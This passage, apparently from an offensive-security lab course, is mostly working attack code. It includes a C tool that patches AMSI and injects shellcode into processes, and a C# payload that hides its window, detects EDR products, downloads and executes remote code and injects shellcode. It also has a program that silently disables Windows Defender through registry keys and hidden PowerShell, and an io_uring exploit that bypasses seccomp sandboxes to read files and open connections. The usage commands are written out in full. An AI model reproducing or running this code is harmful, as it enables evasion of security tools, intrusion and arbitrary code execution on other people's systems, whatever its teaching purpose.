VirtualFreeEx(hProc, remoteBuf, 0, MEM_RELEASE);
CloseHandle(hProc);
return FALSE;
}
printf("[+] Remote thread created\n");
printf("[+] Payload injected successfully!\n");
WaitForSingleObject(hThread, 2000);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}
int main(int argc, char* argv[]) {
// Check arguments
if (argc < 3) {
printf("Usage: %s <process_name> <shellcode_hex>\n", argv[0]);
return 1;
}
const char* target_process = argv[1];
const char* shellcode_hex = argv[2];
// Convert hex shellcode to bytes
size_t payload_size = 0;
unsigned char* payload = HexToBytes(shellcode_hex, &payload_size);
if (!payload) {
printf("[-] Failed to parse shellcode\n");
return 1;
}
printf("[+] Shellcode parsed: %zu bytes\n\n", payload_size);
// Step 1: Bypass AMSI
printf("[*] Step 1: Bypassing AMSI...\n");
BOOL amsi_bypassed = PatchAmsiWithNtAPI();
if (!amsi_bypassed) {
printf("[*] Falling back to direct method...\n");
amsi_bypassed = PatchAmsiDirect();
}
if (!amsi_bypassed) {
printf("[-] AMSI bypass failed\n");
free(payload);
return 1;
}
// Verify AMSI bypass
if (!TestAmsiBypass()) {
printf("[-] AMSI bypass verification failed\n");
free(payload);
return 1;
}
printf("\n[+] AMSI successfully bypassed!\n");
// Step 2: Find target process
printf("\n[*] Step 2: Finding target process '%s'...\n", target_process);
DWORD pid = FindProcessByName(target_process);
if (pid == 0) {
printf("[-] Process '%s' not found\n", target_process);
printf("[*] Make sure the process is running\n");
free(payload);
return 1;
}
// Step 3: Inject payload
printf("\n[*] Step 3: Injecting payload...\n");
if (!InjectPayload(pid, payload, payload_size)) {
printf("[-] Payload injection failed\n");
free(payload);
return 1;
}
printf("\n[+] All steps completed successfully!\n");
free(payload);
return 0;
}
Compile and Run:
# Compile
cl /O2 /GS- src\amsi_native_bypass.c /Fe:bin\amsi_bypass.exe ntdll.lib advapi32.lib
# Usage
.\bin\amsi_bypass.exe <process_name> <shellcode_hex>
.\bin\amsi_bypass.exe notepad.exe 505152535657556a605a6863616c6354594883ec2865488b32488b7618488b761048ad488b30488b7e3003573c8b5c17288b741f204801fe8b541f240fb72c178d5202ad813c0757696e4575ef8b741f1c4801fe8b34ae4801f799ffd74883c4305d5f5e5b5a5958c3
// ExecuteAssemblyPayload.cs
// Compile: csc /target:exe /out:payload.exe ExecuteAssemblyPayload.cs
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace AmsiBypass
{
class ExecuteAssemblyPayload
{
// P/Invoke declarations for advanced operations
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int SW_SHOW = 5;
static void Main(string[] args)
{
// Hide console window for stealth
IntPtr handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
Console.WriteLine("[*] Execute-Assembly Payload - AMSI Bypass Demo");
Console.WriteLine("[*] This code runs without AMSI scanning\n");
if (args.Length > 0)
{
switch (args[0].ToLower())
{
case "enum":
EnumerateSystem();
break;
case "download":
if (args.Length > 1)
DownloadAndExecute(args[1]);
else
Console.WriteLine("[-] Usage: payload.exe download <url>");
break;
case "exec":
if (args.Length > 1)
ExecuteCommand(string.Join(" ", args, 1, args.Length - 1));
else
Console.WriteLine("[-] Usage: payload.exe exec <command>");
break;
case "inject":
if (args.Length > 2)
InjectShellcode(args[1], args[2]);
else
Console.WriteLine("[-] Usage: payload.exe inject <pid> <shellcode_hex>");
break;
default:
ShowUsage();
break;
}
}
else
{
ShowUsage();
}
// Show window again before exit
ShowWindow(handle, SW_SHOW);
}
static void ShowUsage()
{
Console.WriteLine("Usage:");
Console.WriteLine(" payload.exe enum - Enumerate system information");
Console.WriteLine(" payload.exe download <url> - Download and execute payload");
Console.WriteLine(" payload.exe exec <command> - Execute command");
Console.WriteLine(" payload.exe inject <pid> <sc> - Inject shellcode into process");
Console.WriteLine("\nNote: This bypasses AMSI because it's compiled .NET code");
}
static void EnumerateSystem()
{
Console.WriteLine("[*] System Enumeration (AMSI-free)\n");
// Computer info
Console.WriteLine($"[+] Computer Name: {Environment.MachineName}");
Console.WriteLine($"[+] User Name: {Environment.UserName}");
Console.WriteLine($"[+] Domain: {Environment.UserDomainName}");
Console.WriteLine($"[+] OS Version: {Environment.OSVersion}");
Console.WriteLine($"[+] 64-bit OS: {Environment.Is64BitOperatingSystem}");
Console.WriteLine($"[+] 64-bit Process: {Environment.Is64BitProcess}");
Console.WriteLine($"[+] Processor Count: {Environment.ProcessorCount}");
Console.WriteLine($"[+] CLR Version: {Environment.Version}");
// Check privileges
Console.WriteLine($"\n[*] Checking Privileges:");
var identity = System.Security.Principal.WindowsIdentity.GetCurrent();
var principal = new System.Security.Principal.WindowsPrincipal(identity);
bool isAdmin = principal.IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator);
Console.WriteLine($"[+] Running as Administrator: {isAdmin}");
Console.WriteLine($"[+] User SID: {identity.User}");
// Network info
Console.WriteLine($"\n[*] Network Information:");
try
{
string hostName = Dns.GetHostName();
IPHostEntry hostEntry = Dns.GetHostEntry(hostName);
foreach (IPAddress ip in hostEntry.AddressList)
{
if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
{
Console.WriteLine($"[+] IP Address: {ip}");
}
}
}
catch (Exception ex)
{
Console.WriteLine($"[-] Network enum error: {ex.Message}");
}
// Running processes (high-value targets)
Console.WriteLine($"\n[*] High-Value Processes:");
string[] targetProcesses = { "lsass", "explorer", "winlogon", "services", "svchost" };
foreach (var proc in Process.GetProcesses())
{
foreach (var target in targetProcesses)
{
if (proc.ProcessName.ToLower().Contains(target))
{
try
{
Console.WriteLine($"[+] {proc.ProcessName} (PID: {proc.Id})");
}
catch { }
}
}
}
// AV/EDR detection
Console.WriteLine($"\n[*] Security Product Detection:");
string[] securityProcesses = { "MsMpEng", "MsSense", "SenseCncProxy", "SenseIR",
"CrowdStrike", "CsFalcon", "CSAgent", "elastic-agent",
"elastic-endpoint", "SentinelAgent", "SentinelOne" };
bool foundSecurity = false;
foreach (var proc in Process.GetProcesses())
{
foreach (var secProc in securityProcesses)
{
if (proc.ProcessName.ToLower().Contains(secProc.ToLower()))
{
Console.WriteLine($"[!] Detected: {proc.ProcessName}");
foundSecurity = true;
}
}
}
if (!foundSecurity)
{
Console.WriteLine("[+] No common security products detected");
}
}
static void ExecuteCommand(string command)
{
Console.WriteLine($"[*] Executing: {command}\n");
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = $"/c {command}",
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (Process process = Process.Start(psi))
{
string output = process.StandardOutput.ReadToEnd();
string error = process.StandardError.ReadToEnd();
process.WaitForExit();
if (!string.IsNullOrEmpty(output))
{
Console.WriteLine("[+] Output:");
Console.WriteLine(output);
}
if (!string.IsNullOrEmpty(error))
{
Console.WriteLine("[-] Error:");
Console.WriteLine(error);
}
Console.WriteLine($"\n[*] Exit Code: {process.ExitCode}");
}
}
catch (Exception ex)
{
Console.WriteLine($"[-] Execution failed: {ex.Message}");
}
}
static void DownloadAndExecute(string url)
{
Console.WriteLine($"[*] Downloading from: {url}");
try
{
using (WebClient client = new WebClient())
{
// Add user agent to avoid basic detection
client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36");
byte[] data = client.DownloadData(url);
Console.WriteLine($"[+] Downloaded {data.Length} bytes");
// Determine file type and execute appropriately
if (url.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
{
string tempPath = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ".exe");
File.WriteAllBytes(tempPath, data);
Console.WriteLine($"[*] Saved to: {tempPath}");
Console.WriteLine("[*] Executing...");
Process.Start(tempPath);
Console.WriteLine("[+] Execution started");
}
else if (url.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
{
Console.WriteLine("[*] Loading .NET assembly from memory...");
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(data);
// Try to find and invoke entry point
var entryPoint = assembly.EntryPoint;
if (entryPoint != null)
{
Console.WriteLine($"[+] Found entry point: {entryPoint.Name}");
entryPoint.Invoke(null, new object[] { new string[] { } });
}
else
{
Console.WriteLine("[-] No entry point found in assembly");
}
}
else
{
// Assume it's a script or text payload
string content = Encoding.UTF8.GetString(data);
Console.WriteLine("[+] Downloaded content:");
Console.WriteLine(content);
}
}
}
catch (Exception ex)
{
Console.WriteLine($"[-] Download/Execute failed: {ex.Message}");
}
}
static void InjectShellcode(string pidStr, string shellcodeHex)
{
Console.WriteLine("[*] Shellcode Injection (AMSI-free)");
try
{
int pid = int.Parse(pidStr);
byte[] shellcode = HexStringToByteArray(shellcodeHex);
Console.WriteLine($"[*] Target PID: {pid}");
Console.WriteLine($"[*] Shellcode size: {shellcode.Length} bytes");
// P/Invoke for injection
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine("[-] Failed to open process");
return;
}
IntPtr allocMem = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocMem == IntPtr.Zero)
{
Console.WriteLine("[-] Failed to allocate memory");
CloseHandle(hProcess);
return;
}
Console.WriteLine($"[+] Allocated memory at: 0x{allocMem.ToInt64():X}");
IntPtr bytesWritten;
if (!WriteProcessMemory(hProcess, allocMem, shellcode, (uint)shellcode.Length, out bytesWritten))
{
Console.WriteLine("[-] Failed to write shellcode");
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}
Console.WriteLine($"[+] Wrote {bytesWritten} bytes");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocMem, IntPtr.Zero, 0, IntPtr.Zero);
if (hThread == IntPtr.Zero)
{
Console.WriteLine("[-] Failed to create remote thread");
VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}
Console.WriteLine("[+] Remote thread created successfully");
Console.WriteLine("[+] Shellcode injection complete");
CloseHandle(hThread);
CloseHandle(hProcess);
}
catch (Exception ex)
{
Console.WriteLine($"[-] Injection failed: {ex.Message}");
}
}
static byte[] HexStringToByteArray(string hex)
{
hex = hex.Replace(" ", "").Replace("0x", "").Replace(",", "");
byte[] bytes = new byte[hex.Length / 2];
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
}
return bytes;
}
// P/Invoke declarations for injection
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("kernel32.dll")]
static extern bool CloseHandle(IntPtr hObject);
const int PROCESS_ALL_ACCESS = 0x1F0FFF;
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint MEM_RELEASE = 0x8000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
}
}
// defender_stealth.c
// Compile: cl /O2 /GS- src\defender_stealth.c /Fe:bin\defender_stealth.exe advapi32.lib
// Requires Administrator privileges
#include <windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "advapi32.lib")
// XOR obfuscation for strings
void xor_decrypt(char* str, int len, char key) {
for (int i = 0; i < len; i++) {
str[i] ^= key;
}
}
// Obfuscated strings (XOR with 0x42)
char reg_path1[] = {0x34, 0x2f, 0x24, 0x36, 0x30, 0x21, 0x34, 0x27, 0x5c, 0x30, 0x29, 0x21, 0x2d, 0x33, 0x2b, 0x37, 0x2e, 0x36, 0x5c, 0x30, 0x29, 0x21, 0x2d, 0x33, 0x2b, 0x37, 0x2e, 0x36, 0x5c, 0x30, 0x29, 0x2d, 0x2d, 0x2b, 0x31, 0x37, 0x5c, 0x30, 0x29, 0x2e, 0x2c, 0x2b, 0x31, 0x37, 0x5c, 0x24, 0x27, 0x28, 0x27, 0x2e, 0x26, 0x27, 0x32, 0x5c, 0x34, 0x27, 0x21, 0x2c, 0x6e, 0x36, 0x29, 0x2d, 0x27, 0x5c, 0x30, 0x32, 0x2b, 0x36, 0x27, 0x21, 0x36, 0x29, 0x2b, 0x2e, 0x00};
// Check if running as administrator
BOOL IsElevated() {
BOOL elevated = FALSE;
HANDLE token = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) {
TOKEN_ELEVATION elevation;
DWORD size = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(token, TokenElevation, &elevation, sizeof(elevation), &size)) {
elevated = elevation.TokenIsElevated;
}
CloseHandle(token);
}
return elevated;
}
// Indirect PowerShell execution to avoid detection
BOOL ExecuteStealthCommand(const char* cmd) {
// Create a batch file to execute the command
char batch_path[MAX_PATH];
GetTempPathA(MAX_PATH, batch_path);
strcat_s(batch_path, MAX_PATH, "tmp.bat");
FILE* f;
if (fopen_s(&f, batch_path, "w") == 0) {
fprintf(f, "@echo off\n");
fprintf(f, "%s\n", cmd);
fprintf(f, "del \"%%~f0\"\n"); // Self-delete
fclose(f);
// Execute batch file hidden
STARTUPINFOA si = {sizeof(si)};
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (CreateProcessA(NULL, batch_path, NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
}
return FALSE;
}
// Disable via registry (obfuscated)
BOOL DisableViaRegistry() {
printf("[*] Applying configuration changes...\n");
HKEY hKey;
DWORD value = 1;
// Path 1: Real-Time Protection
const char* paths[] = {
"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection",
"SOFTWARE\\Policies\\Microsoft\\Windows Defender",
"SOFTWARE\\Microsoft\\Windows Defender\\Features"
};
const char* values1[] = {
"DisableRealtimeMonitoring",
"DisableBehaviorMonitoring",
"DisableOnAccessProtection",
"DisableScanOnRealtimeEnable"
};
const char* values2[] = {
"DisableAntiSpyware",
"DisableAntiVirus"
};
// Set Real-Time Protection keys
if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, paths[0], 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
for (int i = 0; i < 4; i++) {
RegSetValueExA(hKey, values1[i], 0, REG_DWORD, (BYTE*)&value, sizeof(value));
}
RegCloseKey(hKey);
}
// Set Defender keys
if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, paths[1], 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
for (int i = 0; i < 2; i++) {
RegSetValueExA(hKey, values2[i], 0, REG_DWORD, (BYTE*)&value, sizeof(value));
}
RegCloseKey(hKey);
}
printf("[+] Configuration applied\n");
return TRUE;
}
// Disable via PowerShell (indirect)
BOOL DisableViaPowerShell() {
printf("[*] Executing configuration commands...\n");
// Build commands that are less suspicious
const char* commands[] = {
"powershell -w hidden -c \"Set-MpPreference -DisableRealtimeMonitoring 1\"",
"powershell -w hidden -c \"Set-MpPreference -DisableBehaviorMonitoring 1\"",
"powershell -w hidden -c \"Set-MpPreference -DisableIOAVProtection 1\"",
"powershell -w hidden -c \"Set-MpPreference -DisableScriptScanning 1\"",
"powershell -w hidden -c \"Set-MpPreference -MAPSReporting 0\"",
"powershell -w hidden -c \"Set-MpPreference -SubmitSamplesConsent 2\"",
"powershell -w hidden -c \"Add-MpPreference -ExclusionPath 'C:\\Windows_Mitigations_Lab'\"",
"powershell -w hidden -c \"Add-MpPreference -ExclusionProcess 'payload.exe'\""
};
for (int i = 0; i < 8; i++) {
ExecuteStealthCommand(commands[i]);
Sleep(100); // Small delay between commands
}
printf("[+] Commands executed\n");
return TRUE;
}
int main(int argc, char* argv[]) {
// Minimal output to avoid detection
if (!IsElevated()) {
printf("[-] Administrator privileges required\n");
return 1;
}
printf("[*] Security Configuration Tool\n");
printf("[*] Modifying system settings...\n\n");
// Use both methods
DisableViaRegistry();
Sleep(500);
DisableViaPowerShell();
printf("\n[+] Configuration complete\n");
printf("[*] Settings will take effect immediately\n");
return 0;
}
Compile and Use:
# compile disable thingy
cl /O2 /GS- src\defender_stealth.c /Fe:bin\defender_stealth.exe advapi32.lib
# Compile the payload
csc /target:exe /out:payload.exe src\ExecuteAssemblyPayload.cs
# Usage examples
Get-Process notepad | Select-Object -ExpandProperty Id # find notepad id(open it first)
# try the next line with and without disabling defender, see what happens
# from an elevated terminal run .\bin\defender_stealth.exe
.\payload.exe inject 9348 505152535657556a605a6863616c6354594883ec2865488b32488b7618488b761048ad488b30488b7e3003573c8b5c17288b741f204801fe8b541f240fb72c178d5202ad813c0757696e4575ef8b741f1c4801fe8b34ae4801f799ffd74883c4305d5f5e5b5a5958c3 # inject shellcode
Re-enable Defender (when done testing):
Set-MpPreference -DisableRealtimeMonitoring $false; Set-MpPreference -DisableBehaviorMonitoring $false; Set-MpPreference -DisableIOAVProtection $false; Set-MpPreference -DisableScriptScanning $false; Set-MpPreference -MAPSReporting 2; Set-MpPreference -SubmitSamplesConsent 1; Remove-MpPreference -ExclusionPath "C:\Windows_Mitigations_Lab" -ErrorAction SilentlyContinue; Remove-MpPreference -ExclusionProcess "payload.exe" -ErrorAction SilentlyContinue; Start-Service WinDefend; Write-Host "[+] Defender re-enabled" -ForegroundColor Green
Dear student go find/write some other methods as well
While AMSI is Windows-specific, Linux has its own runtime security mechanisms. Understanding how to bypass seccomp and eBPF LSM is critical for Linux exploitation.
// ~/offensive_lab/seccomp_io_uring_bypass.c
/*
seccomp filters syscalls by inspecting syscall number/args.
io_uring provides async I/O via submission queues.
KEY INSIGHT: io_uring operations happen in kernel context,
NOT as syscalls from userspace!
If seccomp blocks read/write/connect syscalls, you can:
1. Submit operation to io_uring SQ (submission queue)
2. Kernel processes operation in kernel worker context
3. Get result from CQ (completion queue)
4. seccomp never sees it!
PRACTICAL IMPACT:
- Container sandbox escape (if io_uring allowed)
- Browser sandbox bypass (Chromium sandbox allows io_uring)
- Any seccomp-sandboxed application
NOTE ON KERNEL VERSIONS:
- Linux < 5.12: no io_uring restrictions at all
- Linux 5.12–6.5: partial restrictions, many ops still bypass
- Linux 6.6+: io_uring respects seccomp for most ops (PARTIALLY FIXED)
- However: if io_uring_disabled=0, bypass still works on 6.6+!
- Full mitigation: sysctl -w kernel.io_uring_disabled=2 (blocks unprivileged)
- Check status: cat /proc/sys/kernel/io_uring_disabled
- 0 = enabled for all (VULNERABLE)
- 1 = disabled for unprivileged (SECURE)
- 2 = disabled for all except CAP_SYS_ADMIN (MOST SECURE)
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stddef.h>
#include <stdatomic.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <sys/prctl.h>
#include <linux/io_uring.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <netinet/in.h>
#include <arpa/inet.h>
static int io_uring_setup(unsigned entries, struct io_uring_params *p) {
return syscall(__NR_io_uring_setup, entries, p);
}
static int io_uring_enter(int fd, unsigned to_submit, unsigned min_complete,
unsigned flags, void *sig) {
return syscall(__NR_io_uring_enter, fd, to_submit, min_complete,
flags, sig, 0);
}
static int io_uring_register(int fd, unsigned opcode, void *arg,
unsigned nr_args) {
return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}
struct io_ring {
int ring_fd;
unsigned *sq_head;
unsigned *sq_tail;
unsigned *sq_ring_mask;
unsigned *sq_ring_entries;
unsigned *sq_array;
struct io_uring_sqe *sqes; // Actual SQE array (separate mmap)
unsigned *cq_head;
unsigned *cq_tail;
unsigned *cq_ring_mask;
unsigned *cq_ring_entries;
struct io_uring_cqe *cqes;
void *sq_ring_ptr;
size_t sq_ring_sz;
void *cq_ring_ptr;
size_t cq_ring_sz;
size_t sqes_sz;
};
int ring_init(struct io_ring *ring, unsigned entries) {
struct io_uring_params p;
memset(&p, 0, sizeof(p));
ring->ring_fd = io_uring_setup(entries, &p);
if (ring->ring_fd < 0) {
perror("io_uring_setup");
return -1;
}
ring->sq_ring_sz = p.sq_off.array + p.sq_entries * sizeof(unsigned);
ring->sq_ring_ptr = mmap(NULL, ring->sq_ring_sz,
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE,
ring->ring_fd, IORING_OFF_SQ_RING);
if (ring->sq_ring_ptr == MAP_FAILED) return -1;
ring->sq_head = ring->sq_ring_ptr + p.sq_off.head;
ring->sq_tail = ring->sq_ring_ptr + p.sq_off.tail;
ring->sq_ring_mask = ring->sq_ring_ptr + p.sq_off.ring_mask;
ring->sq_ring_entries= ring->sq_ring_ptr + p.sq_off.ring_entries;
ring->sq_array = ring->sq_ring_ptr + p.sq_off.array;
ring->sqes_sz = p.sq_entries * sizeof(struct io_uring_sqe);
ring->sqes = mmap(NULL, ring->sqes_sz,
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE,
ring->ring_fd, IORING_OFF_SQES);
if (ring->sqes == MAP_FAILED) return -1;
ring->cq_ring_sz = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe);
ring->cq_ring_ptr = mmap(NULL, ring->cq_ring_sz,
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE,
ring->ring_fd, IORING_OFF_CQ_RING);
if (ring->cq_ring_ptr == MAP_FAILED) return -1;
ring->cq_head = ring->cq_ring_ptr + p.cq_off.head;
ring->cq_tail = ring->cq_ring_ptr + p.cq_off.tail;
ring->cq_ring_mask = ring->cq_ring_ptr + p.cq_off.ring_mask;
ring->cq_ring_entries= ring->cq_ring_ptr + p.cq_off.ring_entries;
ring->cqes = ring->cq_ring_ptr + p.cq_off.cqes;
return 0;
}
int ring_submit_and_wait(struct io_ring *ring, struct io_uring_sqe *sqe) {
unsigned tail = *ring->sq_tail;
unsigned idx = tail & *ring->sq_ring_mask;
ring->sqes[idx] = *sqe;
ring->sq_array[idx] = idx;
atomic_store_explicit((_Atomic unsigned *)ring->sq_tail,
tail + 1, memory_order_release);
int ret = io_uring_enter(ring->ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL);
if (ret < 0) return -errno;
unsigned cq_head = *ring->cq_head;
unsigned cq_idx = cq_head & *ring->cq_ring_mask;
int result = ring->cqes[cq_idx].res;
atomic_store_explicit((_Atomic unsigned *)ring->cq_head,
cq_head + 1, memory_order_release);
return result;
}
void install_seccomp_sandbox(void) {
/*
Install a BPF seccomp filter that BLOCKS:
- openat (SYS_openat = 257)
- read (SYS_read = 0)
- write (SYS_write = 1)
- connect (SYS_connect = 42)
- sendto (SYS_sendto = 44)
- recvfrom(SYS_recvfrom= 45)
ALLOWS everything else (including io_uring_setup, io_uring_enter).
This simulates a container or browser sandbox that didn't think
to block io_uring syscalls.
*/
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,
offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 0, 1),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM),
// Block write (1) - except stdout(1)/stderr(2) for printf
// (We check fd via secondary filter; simplified: block SYS_write
// but our bypass uses io_uring which never calls SYS_write)
// For demo clarity, we only block open+read to show the bypass.
// Block connect (42)
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_connect, 0, 1),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM),
// Block sendto (44)
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_sendto, 0, 1),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM),
// Allow everything else
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
// PR_SET_NO_NEW_PRIVS is required before seccomp
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
perror("prctl(NO_NEW_PRIVS)");
return;
}
if (syscall(__NR_seccomp, SECCOMP_SET_MODE_FILTER, 0, &prog) < 0) {
perror("seccomp(SET_MODE_FILTER)");
return;
}
printf("[+] Seccomp sandbox installed - openat/read/connect/sendto BLOCKED\n");
}
// ── BYPASS 1: Read file via io_uring (bypasses blocked read+open) ──
int bypass_file_read(struct io_ring *ring, const char *path) {
printf("\n[*] BYPASS: Reading '%s' via io_uring...\n", path);
printf(" (openat + read are BLOCKED by seccomp)\n\n");
// Step 1: Verify that normal open() IS blocked
int test_fd = syscall(__NR_openat, AT_FDCWD, path, O_RDONLY, 0);
if (test_fd < 0) {
printf(" [*] Confirmed: openat(\"%s\") blocked by seccomp (errno=%d)\n",
path, errno);
} else {
printf(" [!] openat succeeded?! seccomp may not be active\n");
close(test_fd);
}
// Step 2: Open file via IORING_OP_OPENAT - bypasses seccomp!
struct io_uring_sqe sqe;
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_OPENAT;
sqe.fd = AT_FDCWD;
sqe.addr = (unsigned long)path;
sqe.len = 0; // mode (unused for O_RDONLY)
sqe.open_flags = O_RDONLY;
int fd = ring_submit_and_wait(ring, &sqe);
if (fd < 0) {
printf(" [-] IORING_OP_OPENAT failed: %s (%d)\n",
strerror(-fd), fd);
printf(" [*] Kernel may have io_uring seccomp enforcement (6.6+)\n");
return -1;
}
printf(" [+] IORING_OP_OPENAT succeeded! fd=%d (seccomp bypassed)\n", fd);
// Step 3: Read file contents via IORING_OP_READ - also bypasses seccomp!
char buf[4096];
memset(buf, 0, sizeof(buf));
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_READ;
sqe.fd = fd;
sqe.addr = (unsigned long)buf;
sqe.len = sizeof(buf) - 1;
sqe.off = 0;
int nread = ring_submit_and_wait(ring, &sqe);
if (nread < 0) {
printf(" [-] IORING_OP_READ failed: %s\n", strerror(-nread));
// Close fd via io_uring too (since close() might be blocked)
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_CLOSE;
sqe.fd = fd;
ring_submit_and_wait(ring, &sqe);
return -1;
}
printf(" [+] IORING_OP_READ succeeded! Read %d bytes:\n", nread);
printf(" ---------------------------------------------\n");
// Print first few lines
char *line = buf;
int lines = 0;
for (int i = 0; i < nread && lines < 5; i++) {
if (buf[i] == '\n') {
buf[i] = '\0';
printf(" │ %s\n", line);
line = &buf[i + 1];
lines++;
}
}
printf(" ---------------------------------------------\n");
// Close via io_uring
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_CLOSE;
sqe.fd = fd;
ring_submit_and_wait(ring, &sqe);
return nread;
}
// ── BYPASS 2: Network connect via io_uring (bypasses blocked connect) ──
int bypass_network_connect(struct io_ring *ring, const char *ip, int port) {
printf("\n[*] BYPASS: Connecting to %s:%d via io_uring...\n", ip, port);
printf(" (connect + sendto are BLOCKED by seccomp)\n\n");
// Step 1: Verify that normal connect() IS blocked
int test_sock = socket(AF_INET, SOCK_STREAM, 0);
if (test_sock >= 0) {
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(port),
};
inet_pton(AF_INET, ip, &addr.sin_addr);
if (connect(test_sock, (struct sockaddr *)&addr, sizeof(addr)) < 0 &&
errno == EPERM) {
printf(" [*] Confirmed: connect() blocked by seccomp\n");
}
close(test_sock);
}
// Step 2: Create socket (socket() itself may not be blocked,
// but we could also use IORING_OP_SOCKET on 5.19+)
int sockfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
if (sockfd < 0) {
// Try IORING_OP_SOCKET (Linux 5.19+)
struct io_uring_sqe sqe;
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_SOCKET;
sqe.fd = AF_INET;
sqe.off = SOCK_STREAM;
sqe.len = 0;
sqe.rw_flags = 0;
sockfd = ring_submit_and_wait(ring, &sqe);
if (sockfd < 0) {
printf(" [-] Cannot create socket: %s\n", strerror(-sockfd));
return -1;
}
printf(" [+] Socket created via IORING_OP_SOCKET: fd=%d\n", sockfd);
} else {
printf(" [*] Socket created via socket() (not blocked): fd=%d\n", sockfd);
}
// Step 3: Connect via IORING_OP_CONNECT - bypasses seccomp!
struct sockaddr_in target = {
.sin_family = AF_INET,
.sin_port = htons(port),
};
inet_pton(AF_INET, ip, &target.sin_addr);
